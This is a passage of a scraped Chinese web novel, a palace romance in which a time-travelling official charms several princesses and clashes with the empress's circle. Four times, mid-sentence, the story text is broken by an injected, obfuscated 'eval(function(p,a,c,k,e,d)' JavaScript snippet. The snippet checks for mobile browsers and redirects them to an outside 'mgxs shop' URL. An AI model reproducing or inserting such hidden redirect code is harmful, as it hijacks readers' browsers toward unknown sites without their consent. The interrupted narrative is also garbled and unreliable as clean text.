倒是个有趣的人,不似那些穷酸腐儒,一个二个像是呆头鹅一样。 “算你还有点眼光,今日便勉强饶你一次。”李清溪轻哼一声,默默收回了鞭子。 季褚终于知道鞭子哪里来的了,原来对方的腰带另有乾坤。 “谢公主不鞭之恩。”季褚尴尬的笑了笑。 马贵妃在旁看的又好气又好笑,不过心里却是乐开了花。 稳了! 这把绝对稳了。 这季褚,非但才高八斗,更有一双识人的慧眼,竟能一眼瞧出女儿骨子里的珍贵品性。 最重要的是,闺女也不似昨天提及时那般抵触。 这是个很好的现象。 “娘娘,公主,诗已献毕,臣还有太子大婚诸多事宜亟待料理,不敢久留,便先行告退。”季褚微微躬身,准备告辞离开。 马贵妃见他知礼有度,温声颔首,“既如此,本宫便不再留你,国事为重,少保慢走。” “听闻太子哥哥大婚排练了诸多新的礼乐,正好我今日无事,随你一道看看去。” “胡闹!” 马贵妃呵斥一声,有些无奈的看着起身就要跟着走的女儿,“季少保奉了圣命,太子大婚更是重中之重,你莫要跟着添乱。” “母妃,我就是好奇嘛,我保证不添乱。”李清溪一脸哀求,走上前直接用上了撒娇卖萌晃胳膊那套,顺便还偷偷给季褚使了个眼色。 季褚哭笑不得,“娘娘,既然殿下想去,那就跟着去看看吧,也没甚打紧的。” “你看你看,季大人都说不打紧的。” “好了好了……”马贵妃苦笑扶额,“想去就去吧,切记,不可胡闹。” “谢谢母妃。”李清瑶嘻嘻一笑。 转身见季褚看向自己,立马收敛笑容,挺直腰板轻哼一声,“走吧!” “臣告退!” 季褚直起腰,赶紧追着李清溪屁股向外走去,“殿下,咱可说好了,看不怕你看,但不能指手画脚。” “你烦不烦啊,本公主指点你,那是你的福分。” 季褚:…… 第102章 姐夫的诗,可不是白做的 目送二人远去,马贵妃脸上的和善顿时消失,“刘吉呢,把那狗奴才叫过来。” 身为汀兰殿大太监,带外臣进来居然不通报,令自己和季褚产生了这么大的误会,刘吉富有不可推脱的责任。 窥一斑可见全豹,可想而知,往日里这帮奴才是怎么伺候主子的。 今个,说什么她也得帮女儿好好整顿一下汀兰殿的规矩。 不多时,刘吉便慌慌张张小跑进来,擦了擦额头上的汗,扑通一下便跪在了地上,“奴婢刘吉,见过贵妃娘娘,娘娘千岁!” “刘吉,你可知错?” “奴婢知错。”刘吉有些不明所以,不过在宫里,贵人说你有错,没错也有。 “知错便好。”马贵妃语气骤然一冷,眉眼间再无半分笑意,只剩深宫贵主的威严,“拖出去,杖责二十。 让汀兰殿上下宫人全都看着,再有下次,本宫定要你项上人头!” “娘娘饶命,娘娘饶命啊……” 刘吉这回是真懵了,可马贵妃带来的太监才不管你这个那个,拖着人就向外走去。 …… 跟着李清溪出了汀兰殿,季褚的心是彻底踏实了。 皇后,马贵妃,孙淑妃,皇宫三巨头,他已经见了两位,且都对他表现出了明显善意。 虽然皇后那关才是最难过的,但身边不是还有个小姨子么? 只要把她护在身前,就没人能伤的了自己。 毕竟,姐夫的诗,可不是白做的,而且身处皇宫,料她皇后娘娘也不敢太过分。 这时,李清溪忽然放慢脚步,与他并肩而行,低低的声音里带着几分促狭,“季少保,旁人都说你一肚子坏水,你可有整治那老妖婆的法子?” 季褚面皮一抽:“谁呀,这不是造谣诽谤吗?” 李清溪一脸惊讶,“不是吧,朝野上下都在传,你居然不知道?” “我知道个屁。”季褚也是服了,“有当着人家面说人家坏话的吗?” “怎么没有,那老妖婆就当着本宫的面,说本宫刁蛮任性,不懂规矩,该好好管教。”提起这件事,李清溪便一肚子愤懑。 “人家是皇后,人家有这个底气,你是晚辈,有个孝字压着……这种事儿本就有理说不清,只能认。” “呀,你果然聪明,我一提你就知道是她。” 季褚:…… 李清溪那副看“大聪明”的眼神,差点没把他当场整破防,恨不能立刻给她小嘴儿缝上。 若非还得用她当挡箭牌,季褚是真不想和这种傻白彪说话,深吸口气,认真道:“臣可什么都没说。 臣心怀苍生,为人坦荡,旁人这般污蔑我,不过是我坏了他们的好事罢了,公主殿下可不要以讹传讹。” “你先别急着推脱。”李清溪四下看了看,也变得认真起来,拍着那也就35的小c保证道:“本宫的嘴巴可严了,只要你能让那老妖婆不痛快,本宫必有重赏。 就算事后被发现,一切后果也由本宫一力承担。” 我信了你个鬼,你这精神小妹坏得很。 主意他有千万条,可问题他躲都来不及,招惹人家作甚? 老话说的,天底下没有完美无瑕的犯罪,真当宫里的眼线是吃素的啊? 况且那可是当今天下最尊贵的女人,天家无小事,他要敢出主意,你就等着吧,早晚会查到李清溪身上。 小姨子名声已经够臭了,他要再给出点损主意,纯纯就是害人! 小姨子年纪小不懂事,但他一个大人,见到小树长歪了,还再加上点力道,那不和传言一样了……他可是光风霁月,阳光才子季少保,哪能干那事儿! 季褚连连摆手,“你可千万别……臣怕最后这一块那一块!” “什么意思?” 季褚抬手比了个**,再剁成碎块的动作,“被剁碎了,这回殿下懂了?” 李清溪的脸顿时拉了下来,自己的驸马竟然和自己不是一条心,可还行? 当即默默摸向了腰间的鞭把,“季褚,你敢不听本宫的话?” “你看你,什么态度?”季褚面色一板,语气也郑重了几分,“臣不帮你出主意,只是不想害你。 臣与殿下虽是初见,可臣的眼睛就是尺,谁好谁坏一眼便知。 殿下容貌倾城,性格洒脱,率真坦荡,一看就是个做事光明磊落,世间少有的好女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282646|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 闻言,李清溪莫名一阵脸热。 她,真有那么好么? 李清溪默默松开了手,傲娇的哼了一声,“算你有眼光。” 季褚默默叹了口气,就这脑子……他这个当姐夫的还真得多操点心不可。 “既然殿下有这么多优秀的品质,为何世人皆言殿下嚣张跋扈,刁蛮任性? 不知殿下想没想过这个问题?” 李清溪几乎想都没想,重重的哼了一声,“自然是他们有眼无珠。” “错!” “错?” “就是错。在臣看来,这都是人设的问题。” 李清溪怔怔的顿住了脚。 “咱们便走边说。” “好!” 显然,这会儿李清溪已经被他钓足了胃口。 季褚微微翘了翘唇角,“我先问你一个问题,你和老妖婆发生冲突后,都是怎么做的?” “那老妖婆坏的很,有时候根本不是我的错。”说到这,李清溪简直委屈坏了,“尤其是当着父皇的面,我自然要当场跟她辩清楚,她凭什么诬陷我,我又凭什么受委屈?” “然后呢?” “什么然后,当然是吵明白,把事情说清楚。” 季褚苦笑点头,“那殿下觉得,如此一来,旁人会觉得你委屈,还是觉得你无礼?” 李清溪一噎,“自然是我无礼……可我真没有,就前些日子……” “打住!”季褚赶紧抬手制止,“不用和我说具体细节。” 那种熟悉的有话说不出,可是给李清溪委屈坏了,大大的眼眶里,瞬间布满了雾气,“连你也不信我?” 季褚叹了口气,温声道:“臣当然信你,因为你在臣心里就是天底下顶好的女子,可只有臣信无用啊!” 李清溪脸颊唰地染上一层绯红,心跳骤然乱了节拍。 方才的委屈与憋闷好似被一股温热冲开,只剩下满心羞涩难言的悸动。 她垂着眼帘,指尖微微蜷缩,“那,那要如何才能让旁人都信我?你……你可是有法子?” 季褚微微颔首,眼底掠过一丝笑意,“臣,的确有一个法子。” 第103章 丸辣,教大劲儿了 “你现在的问题是什么,遇到事就硬碰硬,哎呀,觉得明明受委屈的是我,你们为什么都不信呢? 可殿下想过没,旁人又没瞧见到底发生了什么,旁人只瞧见一个大逆不道,和母后顶撞的刁蛮公主。 你是把所有委屈都喊出来了,可你又得到了什么? 不用猜,每当这时候,老妖婆肯定会示弱,然后劝说你爹,哎呀,女儿年纪小,不懂事好好管教一番就好了。 哎呀,长平,母后也是为了你好……” “噗嗤……” 身为主播,季褚的声情并茂那绝对是活灵活现,直接就给李清溪笑喷了。 “你给我严肃点。”季褚笑着嗔了对方一眼。 “哦,可是你怎么什么都知道,好像你都看到了一样。”李清溪大大的眼睛里写满了疑惑。 季褚哭笑不得,“这不是有脑子就能猜到? 老妖婆这叫什么,这叫典型的绿茶婊!” “何为绿茶婊?” 季褚真想给自己掌嘴,可迎上那小姨子那双满是懵懂求知欲的眼神,只能简单的解释一番。 没办法,谁让当主播的都喜欢宠粉呢! 李清溪点点头,大为赞同道:“你说的没错,老妖婆就是绿茶婊。” “咳咳……这话私底下说说就成了。 我教你一招,保管你攻守易型。” 一听这话,李清溪瞬间来了精神,一把抱住了季褚胳膊,“快说!” “你先放手,男女授受不亲……” 李清溪俏脸一红,忙松开了手,“还请教我。” “其实很简单,学会她,成为她,然后超越她。 下次你她再算计你,你别吵,别闹,也别顶嘴。 能多软弱咱就多软弱,然后来一句,女儿终究不是母后亲生的。” “女儿终究不是母后亲生的?” “太硬,跟我学。” 季褚送佛送到西,学着林黛玉,给她掩饰了一遍。 “噗嗤……我怎么感觉你像个太监。” 季褚动作一僵,恨恨瞪了对方一眼,“我好心教你,你怎能这般辱人!” 李清溪撇撇嘴,秀眉紧紧的蹙了起来,“那我岂不是也成了绿茶婊?” 你顶多算个绿茶,还是倒沫子那种。 季褚给了她一个恨铁不成钢的眼神,“罢了,你就当臣随口一说。” 一看季褚生气,李清溪连忙收笑,轻轻扯了扯季褚衣袖,眉眼弯弯,满脸都是讨好,“好了好了,本宫错了。 这样,你想要什么,只要本宫有的,统统都能赏赐给你。” “当真?” “自然当真,本宫说到做到。” “好,那臣便向公主讨个赏,只要殿下以后每天都开开心心的,便是对臣最大的恩赐。” 李清溪一怔,耳尖渐渐发烫,愣在原地半天没反应过来,等她回过神,季褚已经走远了。 李清溪嗫嚅了两下,快步跟上,哪还有之前的盛气凌人,只剩下羞涩的不要不要。 传言果然不能信……这季褚,还是很不错的。 “那你还有什么要教我的吗?” “没了,殿下只需记住几个关键要素即可。 你越不争,旁人越觉得你才是那个受委屈的人。 你越懂事,旁人越觉得老妖婆苛待你。 你明明占理,却一声不吭,这叫体面。 她明明强势,却步步紧逼,这叫使德。 有道是人心中的成见是一座大山,可世人不知,只需几个来回,这座大山亦可移走。” 李清溪眼睛里小星星都闪起来了,突然感觉季褚说话也好好听,“还有吗?” “再就是一些话术问题,比如,儿臣愚笨,又让母后费心了,你听,是不是把锋芒全收起来了。 再配上楚楚可怜的眼神,是不是会令老妖婆有种一拳打在棉花上的感觉? 记住了,会哭的孩子有糖吃,会忍的姑娘有人疼。 硬碰硬,是杀敌一千自损八百。 会示弱,才是不动声色,赢尽人心。” 李清溪呆呆的望着季褚,“原来,与人相处还有这么多门道!” 季褚会心一笑,“殿下不是不够优秀,只是做事太过率真。 从今个起,咱不做刺猬,就做一朵看着较弱,实则扎手的花儿!” 说话间,二人已经回到了教坊司。 才进门,季褚就瞧见了坐在案几前一边听曲儿,一边喝茶的韩江雪。 韩江雪自然瞧见了二人,放下茶杯便上前行礼,“见过公主殿下。” “表姐何须这般多礼,倒是妹妹的不是了。” 说着,李清溪福身还礼,直接就给韩江雪看懵逼了。 这这这,还是那个刁蛮任性的三公主,怎么感觉怪里怪气的? 她目光狐疑的看向季褚,就见季褚一脸古怪,再想到二人一同进来,哪里还不清楚什么。 不用猜,肯定又是被季褚带偏的。 公主府的风气就不用说了,现在人人把宣誓忠诚挂嘴边。 就说经常和季褚在一起的几个人吧。 房梁……自己心腹爱将,如今就跟变了个人一样,也不嚷嚷不让同僚叫外号了,好似这个外号有多光荣一样。 还有竹儿,以前都是公主为先,现在……看季褚的眼神都拉丝了,简直没眼看。 赵子衿,你可是江湖儿女耶!什么大风大浪你没见过,什么人你没见过? 她就想不明白了,如此一名江湖高手,咋就被季褚骗的团团转,心甘情愿,死心塌地的付出一切。 最最最可气的还得属公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287727|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,简直没眼看,几乎是对季褚百依百顺,让她干啥她就干啥。 那是何等污秽啊,别说公主这等天家贵女,怕是普通民妇也是嫌弃的不行。 嘿,您猜怎么着,公主不紧不嫌弃,工作之余竟然还担心季褚的安危,派自己贴身保护。 简直了…… 如今,季褚才进宫,就把向来嚣张跋扈,不把任何人放眼里的长平公主训的知书达理,该不会真会点什么邪门的术法吧? “咳咳,你不保护公主殿下,来这里作甚?” 季褚的话打断了韩江雪的胡思乱想,恨恨的哼了一声,“殿下命我进宫护你周全,早知有长平公主关照,我倒不如不来,省得在这里碍眼。” 闻言,李清溪瞬间打起了十二分的警惕,“临安姐姐这是何意?宫里莫非龙潭虎穴不成?我那长姐又为何这般不放心? 以前季褚是长姐的人,可如今他已是朝廷在册的命官,有自己的俸禄职衔,长姐这般处处挂心,暗中安排,未免也管得太宽了些!” 她轻蔑的瞥了韩江雪一眼,嘴角浮起一抹意有所指的冷笑,“长姐身份尊贵,历经世事,早已不是闺中少女。 季大人风华正茂,前程似锦,有些人,有些心,终究是不合时宜,莫要误了别人。” 季褚是越听越不对劲,听到最后,整个人都麻了。 好家伙,这莫非就是传说中的修罗场? 还有你这小姨子怎么个事儿? 就差明说我和你姐不适合了。 虽然,听那意思,好像是你姐配不上我,姐夫还挺开心的。 可姐夫已经抱上了你姐公主娘子的大白腿啊,哪能由着你这般胡闹。 你不想要姐夫可还行? 况且韩江雪还在这里,自己要是不维护她,传到李清瑶耳朵里,她得多伤心啊! “殿下,休要胡言,长公主与我有知遇之恩,我季褚生是他的人,死是他的鬼。” 这话一出,韩江雪表情一松,倒是没那么狼心狗肺。 可紧接着,她和季褚全懵了。 “那我呢?你是不是有把柄在她手里,你放心,以后有本宫,无人可以威胁到你,况且还有哥哥在。” 季褚脑瓜子翁的一下,啥情况,你不想当小姨子,你想当…… 擦? 不是吧妹妹,咱这么随便的吗? 再看韩江雪,已然握紧了剑柄,杀气腾腾的目光,显然在等他给一个合理的解释,不给,那就上真理! 刷! 就在季褚不知如何解释的时候,李清溪一把抽出了腰带里藏的小皮鞭,“郡主姐姐,是要不敬吗?” 场面顿时变得剑拔**张起来。 就连正在排练节目的乐师舞姬都纷纷停了下来。 季褚嘴角抽搐,丸辣,这是教大劲儿了啊! 第104章 遇事不要慌 眼瞅着二人就要打起来做过一场。 虽然,理论上小姨子比表姨子的关系更近一点,且他对大熊妹妹意见也挺大。 可有事儿,人家也是真的上,何况都是姨子,合起就是一个完整的…… 季褚赶忙站到了二人中间,“我说咱都是亲戚,不至于,真不至于……郡主,你先继续喝茶听曲儿。 公主,你且随臣来,臣有些话说。” 说完,牵着小皮鞭便把李清溪拽到了一旁角落。 “季褚,有本宫给你撑腰,你怕什么?”李清溪一脸不满的抽回鞭子,“还是说,你不信本宫能够保护好你?” “我的好公主啊,你就少说两句吧!”季褚语重心长道:“我怎么能不信你呢,我这也是为了你好! 你想想,你现在已经名声在外。 你和临安郡主闹起来,论起是非对错,最后吃亏受委屈落人口实的,终究是你。 传老妖婆那,她心里还指不定怎么乐呢! 我吃点亏没什么,但我不想看着你被她拿来大作文章,毁了你的名声事小,若是连累你母妃失势,你哥哥前途尽毁,那可就真的无法挽回了。 听话,咱心胸开阔点,韩江雪就一武夫,你和她较什么劲。” 李清溪抬着头,怔怔望着季褚,方才的不满与骄蛮瞬间烟消云散。 她轻咬粉唇,鼻尖微微发酸,一颗心像是被一股温热的暖意紧紧填满。 原来,自己在他心里这么重要! 事实都为自己着想,处处都这般周到。 这种被人疼爱呵护的感觉,除了从母亲身上,她还从未感受过,就连哥哥都不行。 她是爱冲动,但又不傻,岂会感觉不出哥哥的呵护疼爱带着算计,否则又怎会传信母妃,想把自己嫁给季褚。 但现在一看,她也算是歪打正着了。 遇上了一个真正懂自己,疼爱自己的人。 “想什么呢?”季褚一脸懵逼。 李清溪心里甜蜜翻涌,脸颊蓦的一下染上一层绯红,脸耳根都跟着烧了起来,忙垂下眼帘把头扭到了一旁,指尖轻轻摩挲着鞭子,声音透着几分羞赧,软乎乎道:“我,我听你的,不与她计较就是,不过……” 说着,她抬起头,但又好似想到了什么,又飞快侧过脸去,“你记着,若是往后你被皇姐或是旁人威胁,一定要第一时间告诉我,不许瞒着我,我们一起想办法,本宫护着你!” 季褚心尖一颤。 讲真的,他是一个特别感性的人。 虽说才见第一面,但架不住人家漂……呸,人家真情实意啊! 何况名声在外,刁蛮任性的小公主,此刻乖巧又懂事的样子,不自觉的就能拉高好感度。 季褚感觉自己已经满了。 大人之间的事儿,那是大人之间的,他们争他们的。自己也绝不允许李清溪这样一张干干净净的白纸,一颗剔透纯粹的心,被那些肮脏算计染黑,染上半分污浊。 这样想着,他的手,轻轻地拂开她落在额前的一缕碎发,嘴角漾开一抹极浅却极温柔的笑意,“臣,记下了,殿下放心,以后有臣,没人欺负的了你。” 指尖轻柔的划过自己的脸颊,李清溪宛如被人施展了定身咒,脑海里更是轰的一下全白了。 她一位自幼住在深宫的公主,见过的男人都少,更彷徨这般亲密的接触…… 李清溪感觉他的指尖好似钻出了什么东西,进入了自己身体,浑身上下全都麻酥酥的,轻轻的嗯了一声,“以后叫我溪儿。” 说完,头也不回的向外跑去。 她感觉自己的心快要从嗓子眼里跳出来了,只想找个安静的地方静静。 望着她落荒而逃的纤细背影,季褚指尖还残留着她额发轻柔的触感,心头微漾,旋即深吸一口气,走回了大殿。 这位姑奶奶算是暂时稳住了,可后面还有一位呢! 回到大殿,就迎上了韩江雪那不怀好意,满是审视的目光。 季褚不慌不忙,昂首挺胸,步履坦荡,徐徐归座。 尚未坐稳,韩江雪已冷声开口,语带讥诮,“季褚,既知自己**得邪术,便更要恪守本心。 前惑表姐倾心,今又撩拨长平,左右逢源,何其薄幸!” 季褚万万没想到,自己还没解释,她就已经帮自己把问题推到了邪术上面。 但那语气,属实令季褚不满。 汝闻闻,人言否? 薄幸?我季伯赢何时薄幸过,对谁不是掏心掏肺? “郡主此言差矣。凡真心待我者,我必真心相护。且我从未以邪术惑人,你哪只眼睛见我薄幸了? 她们是她们,我是我,朝堂纷争,派系立场,与这份心意无关。 我既不愿负人,亦不愿违心,在我心里,从来没有非此即彼的选择,只有问心无愧。” 韩江雪属实被他这不要脸的话给气笑了,“我从未见过你这般下流无耻之人。” “风流不等于下流。”季褚狠狠在韩江雪的大熊上看了一眼,“瞧见没,这才叫下流。” “你……” 韩江雪刷的一下面红耳赤,赶忙把身子扭到一旁,又羞又恼,半晌才压下火气,冷声道:“那你可知长平的哥哥是谁?如果马贵妃请旨,让你做长平的驸马,你当如何?” “马贵妃敢请旨,我便敢抗旨。”季褚语气平淡,浑不在意。 这一点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287728|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他还是很有自信的。 想想大梁朝的两位驸马,那玩意,狗都不当。 身为穿越者,天天被一个女人压着可还行? 什么,之前我很从心? 那不废话么,那时老子就一马夫,马夫是啥,最底层,最卑贱的奴才,项上人头随时被人捏在手里,换你,你试试,要不要从心? 再说了,从心有啥不好的,有道是患难见真情,起码他看透了李清瑶的内心,知道她是一个善良且值得自己呵护的好女子。 所以,当驸马在他这只是一种字面上的称谓,绝对不是身份标签。 他要早日立功,争取当上公一代,把公主娶回家,然后惊艳所有人。 只要功劳足够大,娶俩怎么了? 他梁皇要是有本事可劲儿的生,自己就敢可劲的娶。 大丈夫生居万恶的古代社会,图的不就是三妻四妾那点……呸,图的不就是人丁兴旺,不然,以后他的万亿家产谁来继承?龙王还怎么回归? 这些心思,韩江雪自然无从知晓。 她只当季褚是一心向着自家表姐,心中怒意顿时消了大半,语气也缓和了几分,却依旧带着警告:“你最好说到做到。若敢负了表姐,我定饶不了你。” 季褚忍不住翻了个白眼,“君子言必行,行必果,还用你说?” 说着,季褚往她旁边凑了凑,小声道:“等我建功立业,就请旨把你表姐和表妹风风光光娶进门,你考虑考虑,要不要一起,到时候把你也带上。” 前面还好好的,可听着听着就不对劲了。 话音落,韩江雪脑子翁的一下,全白了,震惊的张大嘴,迟迟没能缓过神来。 他,他他他,娶两位公主就已经匪夷所思,千古未有。 居然……想着把自己也娶了? 娶就娶,可你那话什么意思,就好似施舍本郡主一样。 简直岂有此理。 下一瞬,羞恼与惊怒齐齐冲上头顶,韩江雪脸颊瞬间涨得通红,又气又羞,已然炸了**,“季褚!” 她咬牙切齿,转身便薅住了季褚衣领,用力将人按在了案几之上,“你这登徒子,无耻之徒,看我今天如何收拾你。” 季褚早就想到了她会很生气,不生气,自己还不说呢。 只是万万没想到,自己和对方实力差距这么大,轻而易举就被她按倒。 不过,遇事不要慌,虽然不能先发朋友圈,但周围围观的人不少。 “郡主放手,你的熊压的我喘不上气了。” 韩江雪顿时一滞,一张脸憋得通红通红。 放手?可还没教训季褚呢! 不放?似乎又被他占尽了便宜。 第105章 江雪告状:表姐与你说了,你可一定要抗住 “好了郡主,乖,别闹了,我都说了,让你提前考虑考虑,强扭的瓜不甜,这一点我知道。” 还你知道,你知道个屁啊! 韩江雪气的牙痒痒,“季伯赢,你真是好样的,我现在就把这件事告诉表姐,你就等着挨收拾吧!” 韩江雪恶狠狠的收回了拳头。 她可不是不想教训季褚,只是不想再让他占自己便宜。 说完,起身就走。 保护他?谁爱保护谁保护吧,老娘不伺候了。 季褚笑呵呵的看着那道一摇三晃的背影离开,而后坐好,整理了一下自己的衣服。 目光扫向宛如按下暂停键的众人,呵斥道:“看什么看,接着奏乐,接着舞!” …… 公主府庄子。 韩江雪踏马而来,利落翻身下马,缰绳随手一抛,便步履匆匆地闯入木楼之中。 李清瑶见她面色难看到了极点,心头猛地一沉,当即搁下笔起身,声音微紧:“可是宫里……出了什么变故?” “何止是变故!表姐,那季褚他,他……” 韩江雪气得肺都快要炸了,可瞧着李清瑶这般忧心忡忡,一时竟不知该如何开口。 “到底怎么了?你要急死我不成?”李清瑶眉头紧蹙,语气里满是焦灼,紧紧握着素手,生怕季褚在宫里惹出了什么祸端。 “他大言不惭!”韩江雪胸口剧烈起伏,脸颊涨得通红,咬着牙恨恨道。 李清瑶脸上的焦灼瞬间僵住,眉头拧得更紧,眼底满是茫然与困惑,“何意?” 韩江雪深吸口气,“我与你说了,你可一定要抗住。” 这副神色凝,像是要宣布什么惊天噩耗般的表情,吓得李清瑶两腿一软,不自觉的扶住桌子。 大言不惭,还让自己一定要抗住…… 那岂不是犯了欺君的死罪? “速,速说!” 韩江雪赶紧把事情从头到尾说了一遍,那是越说越气,说到最后就差拔剑了,“我只是提醒他一句,他居然大言不惭,要娶你和长平进门……哎哎哎,表姐,你这是什么意思,我还没说完呢?” 只见李清瑶只是恨恨瞪了她了一眼,便从容的走书案后,拿起毛笔,垂下眼帘。 韩江雪彻底懵了,走上前,双手扶着书案,“表姐,我说的不够清楚吗? 那个好色之徒……不仅想娶你,还要娶长平,你怎么一点都不急?” 李清瑶握着毛笔的手未停,墨汁在宣纸上晕开浅浅的痕迹,漫不经心地道,“他若有那本事,娶便娶了又何妨,若没那本事,也不过是随口说说,当不得真。” 这一刻,季褚之前那番话的含金量,无形间又在李清瑶心里拔高了一筹。 表妹这性子终究是急躁了些,一点小事便大惊小怪,沉不住气。 毕竟,这是有前车之鉴的,且看赵子衿,无形中就帮公主府平添了一大战力。 季褚虽然胆子大,但做事向来有章程。 此番虽然不知道他经历了什么,但想来也是顺势而为,另有图谋。 韩江雪熊大无脑,看不到那一层,可自己又大又有脑,岂能看不出来。 季褚此举必是想借机和二皇子达成同盟,如此一来,只剩老三便不足为据。 为此,他应该受了不少苦吧,三妹那性子可不是忍气吞声就能答复的…… 越想,李清瑶便越觉得自己已经接近了真相。 尤其是想到季褚,为了自己的大业,忍气吞声被三妹欺辱的场面,李清瑶心里便很不是滋味,一股难以言喻的情愫自心中渐渐升腾,恨不能现在就将人抱在怀里,好好疼惜一番。 至于表妹……就像季褚说的,表妹可不就是熊大无脑,好诗都会想成隂诗,一点事就大惊小怪。 看来自己真得找个机会,好好调教一下表妹了,只是如何调教,她暂时还没个章程。 韩江雪瞠目结舌,一双杏眼瞪得滚圆,整个人都傻了,这这这,这都行? 那邪功,当真恐怖如斯,牵牵小手就把表姐变成了这样,一旦……她简直不敢想表姐会被调教成什么样。 您可是孤冷清高,睿智无双的长公主殿下啊! “表姐,他还说让我考虑考虑,要不要一起嫁?” “哦,那就一起吧!”李清瑶心里烦躁的不行,压根没往心里去,抬起头不满道:“还有事没?没事就回宫,保护好他。” “我……” 韩江雪嗫嚅了两下,到嘴边的话,硬是咽了回去,一跺脚便气咻咻的向外走去。 …… 皇宫,汀兰殿。 李清溪躺在奢华的大榻上,怀里抱着锦绣软褥,一闭上眼,脑海里便全是季褚的身影,唇角不自觉便漾出浅浅羞意。 这时,有宫女来报,“殿下,刘公公求见!” “让他进来。” 不多时,刘吉便被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292135|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个小太监一左一右搀扶着,一瘸一拐地挪进殿内。 一进门,他便猛地挣脱搀扶,扑通一声跪在榻边,哽咽的声音带着十足的委屈,“殿下……殿下啊,奴婢还以为,再也见不到您了……” 李清溪见他面色煞白,衣服上还有渗出来的血,瞬间皱紧了秀眉,“打狗还要看主人,说,谁干的?” 这话一出,刘吉差点没哭死过去。 哇的一声,那叫一个撕心裂肺。 他太清楚这位公主的性子,心软,护短,最见不得身边人受委屈。 这宫里从来不是只看权势地位,看得是谁更得主子们的欢心。 今日马贵妃当众命人打他板子,明着是杀鸡儆猴立规矩,暗地里,何尝不是在向外递话,他刘吉,已经不再是长平公主跟前的红人了? 只怕此刻,殿里殿外那些见风使舵的东西,已经开始蠢蠢欲动,准备踩他一脚,夺了他的位置。 只要殿下肯开口安慰他几句,哪怕只表露出一丝维护着他的意思,那些人便不敢轻举妄动,他这位置,才能坐稳。 “呜呜呜,娘娘打的……” 刘吉边哭,边要把斟酌好的措辞说出来,结果李清溪哦了一声,再次倒回了榻上,“本宫知道了,下去吧!” 刘吉嘎的一下收声,整个人僵在原地。 再一回头,就见搀扶自己的两个小太监快速低头,可那微微耸动的肩膀,分明就是在偷笑。 这一幕,就好似一根针狠狠刺进了刘吉心里。 马贵妃打他,他认!您是主子。 公主漠视他,他不认!自己兢兢业业伺候您那么多年,结果连一句安慰都没有,让他如何认? 至于两个狗一样的小太监,竟然敢看他笑,简直是取死有道! 刘吉垂在身侧的手死死攥紧,指甲几乎嵌进掌心,眼底飞快掠过一丝阴鸷怨毒。 脸上依旧是那副可怜模样,可心中却已冰寒刺骨,恨意翻涌,“殿下,既然你这般对小吉子,那就别怪咱家不念旧情了。” “奴婢告退。”刘吉撑起身退出大殿。 李清溪压根没当回事,就好似人踩**一只蚂蚁,自然不会无聊的低头看看踩成了几段儿。 对她而言,当务之急是找老妖婆报仇。 想了想,她坐直身子,嘴角漾起一抹小恶魔般的微笑,冲着外面喊道:“来人,把父皇前些日子赐的贡茶找出来,随我去给母后请安。” 第106章 皇后中招啦! 坤宁宫。 偏殿内。 窗扇半开,阵阵穿堂风裹挟着庭院中的荷香,驱散了夏日的燥热。 范皇后身着一身素色绣海棠纱质宫装,料子轻薄如蝉翼,透气贴肤,隐隐勾勒出起伏的曲线,腰肢纤柔,体态丰腴,每一寸线条都透着成**子魅惑入骨的风情,朦胧的质感更添几分暧昧,让人忍不住心头发痒,总想拨开那层薄纱,一窥其下的惊艳。 她指尖轻轻抚过案上的描金食碟,碟中是她亲手烹制的四样精致小菜,色泽鲜亮,香气袅袅。 梁皇每日中午都会雷打不动的来她坤宁宫用膳,这贤妻良母的形象,她是半点不敢懈怠。 刚将最后一道小菜摆好,贴身女官青黛便轻步上前低声禀报:“娘娘,长平公主来给您请安了。” 闻言,范皇后脸上温柔笑意微不可察地淡了几分,眼底掠过一丝疑惑。 长平? 她与长平公主的生母马贵妃,可以说是老对手了,多年的明争暗斗从未停歇。 